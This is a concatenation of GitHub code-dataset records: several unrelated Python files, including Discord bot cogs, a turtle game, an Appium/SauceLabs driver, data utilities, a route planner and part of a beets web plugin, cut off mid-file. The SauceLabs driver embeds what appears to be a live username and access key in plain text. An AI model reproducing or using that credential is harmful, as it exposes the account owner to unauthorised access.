self.m_results\n\n","repo_name":"mellic03/2812ict-monocular-hci","sub_path":"src/detectors.py","file_name":"detectors.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1694690123","text":"from discord.ext import commands\nfrom cogs.utils.dataIO import dataIO\nimport discord\nimport os\nimport asyncio\n\n\nclass Seen:\n '''Check when someone was last seen.'''\n def __init__(self, bot):\n self.bot = bot\n self.seen = dataIO.load_json(\"data/seen/seen.json\")\n self.new_data = False\n\n async def _get_channel(self, id):\n return discord.utils.get(self.bot.get_all_channels(), id=id)\n\n async def data_writer(self):\n while self == self.bot.get_cog(\"Seen\"):\n if self.new_data:\n await asyncio.sleep(60)\n dataIO.save_json(\"data/seen/seen.json\", self.seen)\n self.new_data = False\n else:\n await asyncio.sleep(30)\n\n @commands.command(pass_context=True, no_pm=True, name='seen')\n async def _seen(self, context, username: discord.Member):\n '''seen <@username>'''\n server = context.message.server\n author = username\n print(True if author.id in self.seen[server.id] else False if server.id in self.seen else False)\n if True if author.id in self.seen[server.id] else False if server.id in self.seen else False:\n data = self.seen[server.id][author.id]\n ts = data['TIMESTAMP']\n channel = await self._get_channel(data['CHANNEL'])\n em = discord.Embed(color=discord.Color.green())\n avatar = author.avatar_url if author.avatar else author.default_avatar_url\n em.set_author(name='{} was last seen on {} UTC in #{}'.format(author.display_name, ts, channel.name), icon_url=avatar)\n await self.bot.say(embed=em)\n else:\n message = 'I haven\\'t seen {} yet.'.format(author.display_name)\n await self.bot.say('{}'.format(message))\n\n async def listener(self, message):\n if not message.channel.is_private and self.bot.user.id != message.author.id:\n server = message.server\n channel = message.channel\n author = message.author\n ts = message.timestamp\n data = {}\n data['TIMESTAMP'] = '{} {}:{}:{}'.format(ts.date(), ts.hour, ts.minute, ts.second)\n data['CHANNEL'] = channel.id\n if server.id not in self.seen:\n self.seen[server.id] = {}\n self.seen[server.id][author.id] = data\n self.new_data = True\n\n\ndef check_folder():\n if not os.path.exists('data/seen'):\n print('Creating data/seen folder...')\n os.makedirs('data/seen')\n\n\ndef check_file():\n if not dataIO.is_valid_json(\"data/seen/seen.json\"):\n print(\"Creating seen.json...\")\n dataIO.save_json(\"data/seen/seen.json\", {})\n\n\ndef setup(bot):\n check_folder()\n check_file()\n n = Seen(bot)\n bot.add_listener(n.listener, 'on_message')\n loop = asyncio.get_event_loop()\n loop.create_task(n.data_writer())\n bot.add_cog(n)\n","repo_name":"Ryonez/ryo-cogs-v1","sub_path":"seen/seen_dev.py","file_name":"seen_dev.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26904942415","text":"from turtle import Turtle\nimport random\nCOLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"purple\"]\n\nclass Car(Turtle):\n\n def __init__(self):\n super().__init__()\n self.shape(\"square\")\n self.shapesize(stretch_wid=1, stretch_len=2)\n self.penup()\n self.color(random.choice(COLORS))\n self.speed(\"fastest\")\n self.goto(x=random.randint(325, 900), y=random.randint(-220, 290))\n self.MOVE_SPEED = 5\n\n def move(self):\n if self.xcor() > -325:\n self.goto(x=self.xcor() - self.MOVE_SPEED, y=self.ycor())\n else:\n self.goto(x=random.randint(325, 900), y=random.randint(-220, 290))\n\n def getSpeed(self):\n return self.MOVE_SPEED\n \n def setSpeed(self, speed):\n self.MOVE_SPEED = speed\n","repo_name":"greenMakaroni/100-days-of-python-challenge","sub_path":"day 023/car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73928327467","text":"import os\nfrom pathlib import Path\nfrom time import perf_counter\n\nimport matplotlib.pyplot as plt\n\nimport numpy as np\n\nimport trattoria\n\n# G3 support is still experimental and needs to be validated against theoretical\n# results.\n\n# ptu_filepath = Path(\"/sUsers/garfield/Downloads/GUI_T3_10s.ptu\")\nptu_filepath = Path(\n \"/Users/garfield/Downloads/28102020_QD_TemporalPurity_Test1_match_arrival_004.ptu\"\n)\nptu = trattoria.PTUFile(ptu_filepath)\nfile_size = os.path.getsize(ptu_filepath) / (1024.0 ** 3)\nprint(ptu)\n\n# Test G3\nstart_time = perf_counter()\ng3_params = trattoria.G3Parameters(\n channel_1=0,\n channel_2=1,\n channel_3=2,\n correlation_window=20e-9,\n resolution=800e-12,\n start_record=None,\n stop_record=None,\n)\ng3_res = ptu.g3(g3_params)\nend_time = perf_counter()\ntime_delta = end_time - start_time\nprint(f\"G3 execution time: {time_delta:.3f} s\")\nprint(f\" Processed {file_size/time_delta:.2f} GB/s\")\n\ntau1 = g3_res.tau1 * 1e9\ntau2 = g3_res.tau2 * 1e9\n\nfig = plt.figure(figsize=(8, 8))\n\nplt.imshow(np.log10(g3_res.g3), extent=(tau1.min(), tau1.max(), tau2.min(), tau2.max()))\nplt.xlabel(\"$\\\\tau_1$ (ns)\")\nplt.ylabel(\"$\\\\tau_2$ (ns)\")\nplt.colorbar()\n\nplt.show()\n","repo_name":"GCBallesteros/trattoria","sub_path":"examples/g3.py","file_name":"g3.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"27910184654","text":"from appium import webdriver\nfrom appium.webdriver.common.appiumby import AppiumBy\nimport pytest\nfrom selenium.webdriver.common.keys import Keys\n\nclass InitSession:\n\n def __init__(self, device):\n self.device = device\n\n def createSauceLabsDriverSession(self, platform, version, deviceName, app, executionName):\n # def createDriverSession(self):\n saucelabs_url = \"https://@ondemand.us-west-1.saucelabs.com:443/wd/hub\"\n sauce_username = \"jcgularte\"\n sauce_access_key = \"636020b5-5aea-420c-8d29-01d7b96233db\"\n\n if self.device == \"android-saucelabs\":\n saucelabs_android_caps = {}\n saucelabs_android_caps['platformName'] = platform\n saucelabs_android_caps['appium:app'] = app\n saucelabs_android_caps['appium:deviceName'] = deviceName\n saucelabs_android_caps['appium:platformVersion'] = version\n saucelabs_android_caps['sauce:options'] = {}\n saucelabs_android_caps['sauce:options']['appiumVersion'] = '1.22.1'\n saucelabs_android_caps['sauce:options']['username'] = sauce_username\n saucelabs_android_caps['sauce:options']['accessKey'] = sauce_access_key\n # caps['sauce:options']['build'] = ''\n saucelabs_android_caps['sauce:options']['name'] = executionName\n saucelabs_android_caps['sauce:options']['tags'] = [\"tag1\", \"tag2\", \"tag3\"]\n\n driver = webdriver.Remote(saucelabs_url, saucelabs_android_caps)\n \n elif self.device == \"ios-saucelabs\":\n saucelabs_ios_caps = {}\n saucelabs_ios_caps['platformName'] = platform\n saucelabs_ios_caps['appium:app'] = app\n saucelabs_ios_caps['appium:deviceName'] = deviceName\n saucelabs_ios_caps['appium:platformVersion'] = version\n saucelabs_ios_caps['sauce:options'] = {}\n saucelabs_ios_caps['sauce:options']['appiumVersion'] = '1.22.3'\n # caps['sauce:options']['build'] = ''\n saucelabs_ios_caps['sauce:options']['name'] = 'iOS Execution'\n\n driver = webdriver.Remote(saucelabs_url, saucelabs_ios_caps)\n\n elif self.device == \"ios-hybrid\":\n\n ios_hybrid_caps = {} \n ios_hybrid_caps['platformName'] = 'ios' \n ios_hybrid_caps['platformVersion'] = '15.5'\n ios_hybrid_caps['automationName'] = 'XCUITest'\n ios_hybrid_caps['deviceName'] = 'iPhone 13 Pro Max'\n # ios_hybrid_caps['app'] = ('/Users/jcgularte/Downloads/BetterVet-QA.apk') \n ios_hybrid_caps['autoWebview'] = 'true' \n ios_hybrid_caps['browserName'] = 'safari'\n\n driver = webdriver.Remote(saucelabs_url, ios_hybrid_caps)\n driver.get(\"https://uat.parking.com\")\n\n elif self.device == \"android-hybrid\":\n\n android_hybrid_caps = {} \n android_hybrid_caps['platformName'] = 'Android'\n android_hybrid_caps['automationName'] = 'UiAutomator2'\n android_hybrid_caps['deviceName'] = 'Samsung S22 API 31'\n android_hybrid_caps['browserName'] = 'Chrome'\n\n driver = webdriver.Remote(saucelabs_url, android_hybrid_caps)\n driver.get(\"https://uat.parking.com\")\n\n print(\"Check Whether device is locked or not :\",driver.is_locked())\n print(\"Current Activity\",driver.current_package)\n print(\"Current Activity\",driver.current_activity)\n print(\"Current context\",driver.current_context)\n print(\"Current orientation\",driver.orientation)\n\n else:\n print(\"No device found for the option you have chosen. Please choose an option between 'ios', 'android', 'ios-hybrid' or 'android-hybrid'.\")\n\n return driver\n","repo_name":"juangularte/Parking-Appium-Python-Saucelabs","sub_path":"src/base/SauceLabsDriver.py","file_name":"SauceLabsDriver.py","file_ext":"py","file_size_in_byte":3774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9749636980","text":"import os\nimport disnake\nfrom config.colors import CMD_SUC, CMD_ERR\nfrom disnake.ext import commands\nfrom dotenv import load_dotenv\nfrom pymongo import MongoClient\nfrom datetime import datetime\nfrom disnake.ext.commands import CommandOnCooldown\n\n\nload_dotenv()\nMONGO_URI = os.environ[\"MONGO_URI\"]\n\n\nclass RepCommand(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.database = MongoClient(MONGO_URI)\n self.table = self.database[\"bze5ksolyt7no2d\"]\n self.db = self.table[\"profile\"]\n\n @commands.slash_command(\n name=\"rep\",\n description=\"дать репутацию\"\n )\n @commands.cooldown(1, 60 * 60)\n async def rep(self, inter, member: disnake.Member):\n userID = inter.author.id\n repData = self.db.find_one({\"id\": member.id})[\"rep\"]\n\n if member.id == userID:\n await inter.send(embed=disnake.Embed(description=\"Нельзя выдать самому себе репутацию!\", color=CMD_ERR))\n\n if member.id != userID:\n emb = disnake.Embed(\n description=f\"{inter.author.mention} перевел 1 репутацию пользователю {member.mention}\\n\",\n color=CMD_SUC\n )\n emb.set_author(name=inter.author.name, icon_url=inter.author.display_avatar)\n\n self.db.update_one({\"id\": member.id}, {\"$set\": {\"rep\": repData + 1}})\n\n await inter.send(embed=emb)\n\n @rep.error\n async def my_command_error(self, inter, error):\n timeCool = int(error.retry_after)\n timeNext = f\"\"\n if isinstance(error, CommandOnCooldown):\n emb = disnake.Embed(\n description=f\"Вы уже использовали эту команду. Повторно можно {timeNext}\",\n color=CMD_ERR\n )\n emb.set_author(name=inter.author.name, icon_url=inter.author.display_avatar)\n await inter.send(embed=emb)\n\n\ndef setup(bot):\n bot.add_cog(RepCommand(bot))\n","repo_name":"djwcode/economy-bot","sub_path":"handlers/rep.py","file_name":"rep.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39733947779","text":"import pandas as pd\nfrom pandas import DataFrame\n\nimport numpy as np\n\n\nclass IrisDataReader(object):\n\n def __init__(self, data_file_path: str = None, num_samples: int = 150) -> None:\n \"\"\"\n Constructor\n\n :type num_samples: int\n :param num_samples: the number of Iris data rows to load\n :rtype: None\n :return None\n \"\"\"\n # Read Iris dataset\n # get last lines\n self.iris_data_frame: DataFrame = pd.read_csv(data_file_path, header=None).tail(num_samples)\n\n def get_data(self) -> (np.matrix, np.matrix):\n\n # extract sepal length and petal length\n x = self.iris_data_frame.iloc[0:100, [0, 2]].values\n\n # select setosa and versicolor\n y = self.iris_data_frame.iloc[0:100, 4].values\n y = np.where(y == 'Iris-setosa', -1, 1)\n\n return x, y\n\n","repo_name":"MaxManfred/machine-learning","sub_path":"ml/common/data/iris_data_reader.py","file_name":"iris_data_reader.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10074986939","text":"#IMPLEMENT A STACK USE LIST\r\n\r\nclass myStack:\r\n __data = []\r\n __count = 0\r\n __CAPACITY = 10\r\n\r\n def __init__(self):\r\n self.__data = []\r\n self.__count = 0\r\n\r\n def pop(self):\r\n if self.__count == 0:\r\n print('Stack underflow!')\r\n else:\r\n self.__count -= 1\r\n return self.__data.pop()\r\n\r\n def push(self, dat):\r\n if self.__count == 10:\r\n print('Tring to')\r\n print('Stack overflow!')\r\n else:\r\n self.__data.append(dat)\r\n self.__count += 1\r\n\r\n def peak(self):\r\n if self.__count == 0:\r\n print('Stack is empty!')\r\n else:\r\n return self.__data[self.__count-1]\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n '''empty pop test'''\r\n s = myStack()\r\n assert(s.pop() == None)\r\n\r\n '''push one element'''\r\n s.push(1)\r\n assert(s.peak() == 1)\r\n print('Top of stack is', s.peak())\r\n\r\n '''push one more and pop test'''\r\n s.push(2)\r\n assert(s.pop() == 2)\r\n assert(s.peak() == 1)\r\n print('Top of stack is', s.peak())\r\n\r\n '''Overflow test'''\r\n s.pop()\r\n print(s.peak())\r\n for i in range(0,11):\r\n s.push(i)\r\n print('Top of stack is', s.peak())\r\n\r\n","repo_name":"jshenumn/python","sub_path":"myStack.py","file_name":"myStack.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39439971291","text":"# @File: db.py\n# @Author: Kevin Huo\n# @Date: 2020/4/8\n\nimport json\nfrom datetime import datetime\nfrom decimal import Decimal\n\n\ndef get_row_id(db, Table, cond):\n record = db.session.query(Table).filter_by(**cond).first()\n if record is None:\n return None\n return record.id\n\n\ndef strip_value(value, strip):\n if value is None:\n return value\n if isinstance(value, str):\n if strip:\n value = value.strip()\n elif isinstance(value, Decimal):\n value = float(value)\n return value\n\n\ndef build_rows_result(rows, items, process_none=True, json_items=[], strip=False):\n rst = []\n item_len = len(items)\n for row in rows:\n x = {}\n for i in range(0, item_len):\n name = items[i]\n if isinstance(row[i], datetime):\n x[name] = datetime.strftime(row[i], '%Y-%m-%d %H:%M:%S')\n elif name in json_items:\n try:\n content = json.loads(row[i]) if row[i] is not None and row[i] != '' else ''\n except Exception as e:\n content = row[i]\n x[name] = content\n elif process_none:\n value = row[i] if row[i] is not None else ''\n x[name] = strip_value(value, strip=strip)\n else:\n x[name] = strip_value(row[i], strip=strip)\n rst.append(x)\n return rst\n\n\ndef build_general_filter(TableClass, columns, keyword):\n filters = []\n for col in columns:\n filters.append(getattr(TableClass, col).like(keyword))\n return filters\n\n\ndef update_record(record, items, args):\n for item in items:\n if item in args and args[item] is not None:\n setattr(record, item, args[item])\n\n\ndef build_one_result(one, items, process_none=True, json_items=[]):\n record = {}\n for idx, item in enumerate(items):\n if item in json_items:\n record[item] = json.loads(one[idx]) if one[idx] is not None and one[idx] != '' else one[idx]\n else:\n record[item] = one[idx]\n if process_none and record[item] is None:\n record[item] = ''\n return record\n","repo_name":"kehuo/myweb","sub_path":"backend/common/utils/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24012493013","text":"import pygame, sys\nimport pygame.midi\nfrom pygame.locals import *\n\nDISPLAY=pygame.display.set_mode((500, 400), 0, 32)\nNOTES = [];\n\n\ndef print_device_info():\n pygame.midi.init()\n _print_device_info()\n pygame.midi.quit()\n\ndef _print_device_info():\n for i in range( pygame.midi.get_count() ):\n r = pygame.midi.get_device_info(i)\n (interf, name, input, output, opened) = r\n\n in_out = \"\"\n if input:\n in_out = \"(input)\"\n if output:\n in_out = \"(output)\"\n\n print (\"%2i: interface :%s:, name :%s:, opened :%s: %s\" %\n (i, interf, name, opened, in_out))\n \n\ndef draw_keyboard(notes):\n BLUE = (0, 0, 255)\n RED = (255, 0, 0)\n for i, val in enumerate(notes):\n color = RED if val == True else BLUE\n x = 10 + i * 20\n y = (i + 1 ) % 2 * 20\n pygame.draw.rect(DISPLAY, color, (x, y, 10, 10))\n\ndef main():\n pygame.init()\n print_device_info()\n WHITE = (255, 255, 255)\n DISPLAY.fill(WHITE)\n\n while True:\n a_key = False\n s_key = False\n d_key = False\n f_key = False\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n if event.type == KEYDOWN and event.key == pygame.K_SPACE:\n NOTES.clear()\n if event.type == KEYDOWN and event.unicode == 'a':\n a_key = True\n NOTES.append('a')\n if event.type == KEYDOWN and event.unicode == 's':\n s_key = True\n NOTES.append('s')\n if event.type == KEYDOWN and event.unicode == 'd':\n d_key = True\n NOTES.append('d')\n if event.type == KEYDOWN and event.unicode == 'f':\n f_key = True\n NOTES.append('f')\n\n draw_keyboard([a_key, s_key, d_key, f_key])\n pygame.display.update()\n\nmain()\n","repo_name":"dnewcome/pygame-midi-keyboard","sub_path":"keyboard.py","file_name":"keyboard.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23668598129","text":"import random\nimport os\nimport requests\nimport openrouteservice as ors\nfrom openrouteservice import convert\nfrom time import sleep\n\nfrom browser_route import Browser\n\n\nors_key = os.environ[\"ORS_KEY\"]\n# must request key from OpenRouteService, then put in your operating system environment variables. !!!DO THIS FIRST!!!\n\nclient = ors.Client(key=ors_key)\n\n\nclass RunningRoute:\n def __init__(self) -> None:\n self.lon = -87.678022 # use your latitude\n self.lat = 41.953227 # use your longitude\n self.distance = 0\n self.random_seed = 0\n\n def ask_distance(self):\n\n \"\"\"Request distance in miles via terminal input\"\"\"\n\n miles = int(input(\"How many miles would you like to run today? \"))\n self.distance = miles * 1609.34 # convert to meters\n\n def pick_random_seed(self):\n\n \"\"\"Selects seed to initialize random route\"\"\"\n\n self.random_seed = random.randint(0, 200) # same as website\n\n return self.random_seed\n\n def create_credentials(self):\n\n \"\"\"Credentials to query the OpenRouteService API\"\"\"\n\n self.body = {\n \"coordinates\": [[self.lon, self.lat]],\n \"instructions\": \"True\",\n \"units\": \"mi\",\n \"options\": {\n \"round_trip\": {\n \"length\": self.distance,\n \"points\": 4,\n \"seed\": self.random_seed,\n }\n },\n }\n\n self.headers = {\n \"Accept\": \"application/json, application/geo+json, application/gpx+xml, img/png; charset=utf-8\",\n \"Authorization\": ors_key,\n \"Content-Type\": \"application/json; charset = utf-8\",\n }\n\n return self.body, self.headers\n\n def post_request(self):\n\n \"\"\"Posts requests to OpenRouteService API\"\"\"\n\n call = requests.post(\n f\"https://api.openrouteservice.org/v2/directions/foot-walking\",\n json=self.body,\n headers=self.headers,\n )\n\n this_route = call.json()[\"routes\"][0]\n\n try:\n if (\n len(this_route[\"segments\"][0][\"steps\"]) >= 20\n or len(this_route[\"segments\"][0][\"steps\"]) == 0\n ):\n self.pick_random_seed()\n self.create_credentials()\n self.post_request()\n\n elif (\n len(this_route[\"segments\"][0][\"steps\"]) < 20\n ): # google maps maximum waypoints\n step_info = this_route[\"segments\"][0][\"steps\"]\n\n total_distance = this_route[\"segments\"][0][\"distance\"]\n geometry = this_route[\"geometry\"]\n\n print(\n f\"Sucessful route found! It only took {len(step_info)} steps and a total distance of {total_distance} miles!\"\n )\n\n self.geometry = geometry\n self.step_info = step_info\n\n except (KeyError, AttributeError) as e:\n pass\n\n def get_step_set(self):\n\n \"\"\"Creates points only at turns in route\"\"\"\n\n step_set = set()\n\n for i in range(0, len(self.step_info)):\n\n waypoints = self.step_info[i][\"way_points\"][-1]\n\n step_set.add(waypoints)\n\n step_set = sorted(step_set)\n\n return step_set\n\n def decode_geometry(self):\n\n \"\"\"Decodes polyline hash(?) into coordinate list\"\"\"\n\n decoded_coords = convert.decode_polyline(self.geometry)\n\n return decoded_coords[\"coordinates\"]\n\n def select_coords(self, step_set: set, coords: list):\n\n \"\"\"Ensures that start/stop coordinates are the same, then appends all steps in between\"\"\"\n\n optimized_list = []\n optimized_list.append(coords[0]) # starting coords\n\n for step in step_set:\n optimized_list.append(coords[step]) # other steps\n\n return optimized_list\n\n def reverse_lat_lon(self, coords):\n\n \"\"\"Reverses lat/long to be in line with Google Maps system\"\"\"\n\n lat = [coordinate_pair[1] for coordinate_pair in coords]\n lon = [coordinate_pair[0] for coordinate_pair in coords]\n new_coords = list(zip(lat, lon))\n\n final_coords = \"/\".join(map(lambda x: str(x[0]) + \",\" + str(x[1]), new_coords))\n\n print(f\"www.google.com/maps/dir/{final_coords}\")\n\n return final_coords\n\n def main(self):\n\n self.ask_distance()\n self.pick_random_seed()\n self.create_credentials()\n self.post_request()\n step_set = self.get_step_set()\n coords = self.decode_geometry()\n optimized_coords = self.select_coords(step_set, coords)\n\n final_coords = self.reverse_lat_lon(optimized_coords)\n\n return final_coords\n\n\nif __name__ == \"__main__\":\n\n rr = RunningRoute()\n final_coords = rr.main()\n sleep(2)\n chrome_browser = Browser(final_coords)\n chrome_browser.main()\n","repo_name":"johntisza/CompleteRoute","sub_path":"running_route.py","file_name":"running_route.py","file_ext":"py","file_size_in_byte":4858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8060618164","text":"n = ''\nn1 = []\nc = cont = v = 0\nwhile n != 'N':\n n2 = int(input('Digite um numero: '))\n n1.append(n2)\n c += 1\n for d, i in enumerate(n1):\n if i == 5:\n cont += 1\n v = d\n n = str(input(f'Quer continuar: ')).upper()[0]\nn1.sort()\nprint(f'Total, de numeros digitados {c} que sao os sequintes {n1}')\nprint(f'Ordenados de forma crescente {n1}')\nn1.sort(reverse=True)\nprint(f'E ordenados de forma decrescente: {n1}')\nif cont != 0:\n print(f'O valor cinco (5) esta na lista assumindo a posiçao: {cont}', \"vezes\" if cont == 1 else\\\n \"vezes\", f'nas posiçoes {v}' if cont > 1 else f'na posiçao {v}')\nelse:\n print(f'O valor cinco (5) nao esta na lista')\n","repo_name":"Rachidomar1523/pythonExercicios","sub_path":"projecto1/qual.py","file_name":"qual.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1129206328","text":"continua = True\r\nwhile continua:\r\n try:\r\n x = int(input('Primeiro valor:'))\r\n y = int(input('Segundo valor:'))\r\n z = x / y\r\n except ZeroDivisionError:\r\n print('O segundo valor deve ser diferente de zero')\r\n except ValueError:\r\n print('O valor informado deve ser um número inteiro')\r\n except Exception:\r\n print('Algum outro erro ocorreu')\r\n else:\r\n print('Valores corretos')\r\n print('O resultado da divisão é:', z)\r\n continua = False\r\n","repo_name":"abmport/Python","sub_path":"2Semestre/exercicio01a.py","file_name":"exercicio01a.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28427407186","text":"# -*- coding: utf-8 -*-\r\n# This file is part of beets.\r\n# Copyright 2016, Adrian Sampson.\r\n#\r\n# Permission is hereby granted, free of charge, to any person obtaining\r\n# a copy of this software and associated documentation files (the\r\n# \"Software\"), to deal in the Software without restriction, including\r\n# without limitation the rights to use, copy, modify, merge, publish,\r\n# distribute, sublicense, and/or sell copies of the Software, and to\r\n# permit persons to whom the Software is furnished to do so, subject to\r\n# the following conditions:\r\n#\r\n# The above copyright notice and this permission notice shall be\r\n# included in all copies or substantial portions of the Software.\r\n\r\n\"\"\"A Web interface to beets.\"\"\"\r\nfrom __future__ import division, absolute_import, print_function\r\n\r\nfrom typing import Union\r\n\r\nfrom beets.autotag import Distance, AlbumMatch, AlbumInfo, TrackInfo, \\\r\n TrackMatch\r\nfrom flask.json import jsonify, JSONEncoder\r\n\r\nfrom beets.importer import action, SingletonImportTask, ImportTask, \\\r\n _freshen_items\r\nfrom beets.plugins import BeetsPlugin\r\nfrom beets import ui, plugins\r\nfrom beets import util\r\nimport beets.library\r\nimport flask\r\nfrom flask import g, request\r\nfrom werkzeug.routing import BaseConverter, PathConverter\r\nimport os\r\nfrom unidecode import unidecode\r\nimport json\r\nimport base64\r\n\r\n# Utilities.\r\nfrom beets.ui.commands import dist_string, penalty_string, disambig_string\r\nfrom beetsplug.webimport.WebImporter import WebImporter\r\n\r\n\r\ndef _rep(obj, expand=False):\r\n \"\"\"Get a flat -- i.e., JSON-ish -- representation of a beets Item or\r\n Album object. For Albums, `expand` dictates whether tracks are\r\n included.\r\n \"\"\"\r\n out = dict(obj)\r\n\r\n if isinstance(obj, beets.library.Item):\r\n if app.config.get('INCLUDE_PATHS', False):\r\n out['path'] = util.displayable_path(out['path'])\r\n else:\r\n del out['path']\r\n\r\n # Filter all bytes attributes and convert them to strings.\r\n for key, value in out.items():\r\n if isinstance(out[key], bytes):\r\n out[key] = base64.b64encode(value).decode('ascii')\r\n\r\n # Get the size (in bytes) of the backing file. This is useful\r\n # for the Tomahawk resolver API.\r\n try:\r\n out['size'] = os.path.getsize(util.syspath(obj.path))\r\n except OSError:\r\n out['size'] = 0\r\n\r\n return out\r\n\r\n elif isinstance(obj, beets.library.Album):\r\n del out['artpath']\r\n if expand:\r\n out['items'] = [_rep(item) for item in obj.items()]\r\n return out\r\n\r\n\r\ndef json_generator(items, root, expand=False):\r\n \"\"\"Generator that dumps list of beets Items or Albums as JSON\r\n\r\n :param root: root key for JSON\r\n :param items: list of :class:`Item` or :class:`Album` to dump\r\n :param expand: If true every :class:`Album` contains its items in the json\r\n representation\r\n :returns: generator that yields strings\r\n \"\"\"\r\n yield '{\"%s\":[' % root\r\n first = True\r\n for item in items:\r\n if first:\r\n first = False\r\n else:\r\n yield ','\r\n yield json.dumps(_rep(item, expand=expand))\r\n yield ']}'\r\n\r\n\r\ndef is_expand():\r\n \"\"\"Returns whether the current request is for an expanded response.\"\"\"\r\n\r\n return flask.request.args.get('expand') is not None\r\n\r\n\r\ndef resource(name):\r\n \"\"\"Decorates a function to handle RESTful HTTP requests for a resource.\r\n \"\"\"\r\n\r\n def make_responder(retriever):\r\n def responder(ids):\r\n entities = [retriever(id) for id in ids]\r\n entities = [entity for entity in entities if entity]\r\n\r\n if len(entities) == 1:\r\n return flask.jsonify(_rep(entities[0], expand=is_expand()))\r\n elif entities:\r\n return app.response_class(\r\n json_generator(entities, root=name),\r\n mimetype='application/json'\r\n )\r\n else:\r\n return flask.abort(404)\r\n\r\n responder.__name__ = 'get_{0}'.format(name)\r\n return responder\r\n\r\n return make_responder\r\n\r\n\r\ndef resource_query(name):\r\n \"\"\"Decorates a function to handle RESTful HTTP queries for resources.\r\n \"\"\"\r\n\r\n def make_responder(query_func):\r\n def responder(queries):\r\n return app.response_class(\r\n json_generator(\r\n query_func(queries),\r\n root='results', expand=is_expand()\r\n ),\r\n mimetype='application/json'\r\n )\r\n\r\n responder.__name__ = 'query_{0}'.format(name)\r\n return responder\r\n\r\n return make_responder\r\n\r\n\r\ndef resource_list(name):\r\n \"\"\"Decorates a function to handle RESTful HTTP request for a list of\r\n resources.\r\n \"\"\"\r\n\r\n def make_responder(list_all):\r\n def responder():\r\n return app.response_class(\r\n json_generator(list_all(), root=name, expand=is_expand()),\r\n mimetype='application/json'\r\n )\r\n\r\n responder.__name__ = 'all_{0}'.format(name)\r\n return responder\r\n\r\n return make_responder\r\n\r\n\r\ndef _get_unique_table_field_values(model, field, sort_field):\r\n \"\"\" retrieve all unique values belonging to a key from a model \"\"\"\r\n if field not in model.all_keys() or sort_field not in model.all_keys():\r\n raise KeyError\r\n with g.lib.transaction() as tx:\r\n rows = tx.query('SELECT DISTINCT \"{0}\" FROM \"{1}\" ORDER BY \"{2}\"'\r\n .format(field, model._table, sort_field))\r\n return [row[0] for row in rows]\r\n\r\n\r\nclass IdListConverter(BaseConverter):\r\n \"\"\"Converts comma separated lists of ids in urls to integer lists.\r\n \"\"\"\r\n\r\n def to_python(self, value):\r\n ids = []\r\n for id in value.split(','):\r\n try:\r\n ids.append(int(id))\r\n except ValueError:\r\n pass\r\n return ids\r\n\r\n def to_url(self, value):\r\n return ','.join(value)\r\n\r\n\r\nclass QueryConverter(PathConverter):\r\n \"\"\"Converts slash separated lists of queries in the url to string list.\r\n \"\"\"\r\n\r\n def to_python(self, value):\r\n return value.split('/')\r\n\r\n def to_url(self, value):\r\n return ','.join(value)\r\n\r\n\r\nclass EverythingConverter(PathConverter):\r\n regex = '.*?'\r\n\r\n\r\nclass TaskEncoder(JSONEncoder):\r\n\r\n def default(self, o):\r\n if isinstance(o, SingletonImportTask):\r\n return {\r\n 'artist': o.item.artist,\r\n 'title': o.item.title,\r\n 'match': self.default(o.match),\r\n 'candidates': self.default(o.candidates),\r\n 'imported_items': o.imported_items() if\r\n hasattr(o, 'found_duplicates') else None,\r\n 'found_duplicates': self.default(o.found_duplicates) if\r\n hasattr(o, 'found_duplicates') else None,\r\n }\r\n if isinstance(o, ImportTask):\r\n return {\r\n 'candidates': self.default(o.candidates),\r\n 'match': self.default(o.match),\r\n 'cur_album': o.cur_album,\r\n 'cur_artist': o.cur_artist,\r\n 'is_album': o.is_album,\r\n 'items': self.default(o.items),\r\n 'paths': [str(p) for p in o.paths],\r\n # 'toppath': o.toppath,\r\n 'imported_items': o.imported_items() if\r\n hasattr(o, 'found_duplicates') else None,\r\n 'found_duplicates': self.default(o.found_duplicates) if\r\n hasattr(o, 'found_duplicates') else None,\r\n }\r\n if isinstance(o, AlbumMatch):\r\n return {\r\n 'distance': self.default(o.distance),\r\n 'info': o.info,\r\n 'mapping': [(self.default(key), value)\r\n for key, value in o.mapping.items()],\r\n 'extra_tracks': o.extra_tracks\r\n }\r\n if isinstance(o, TrackMatch):\r\n return {\r\n 'distance': self.default(o.distance),\r\n 'info': o.info,\r\n }\r\n if isinstance(o, Distance):\r\n return {\r\n 'distance': o.distance,\r\n 'penalties': o.keys(),\r\n 'tracks': dict((x.track_id, self.default(y))\r\n for x, y in o.tracks.items())\r\n if hasattr(o, 'tracks') else dict()\r\n 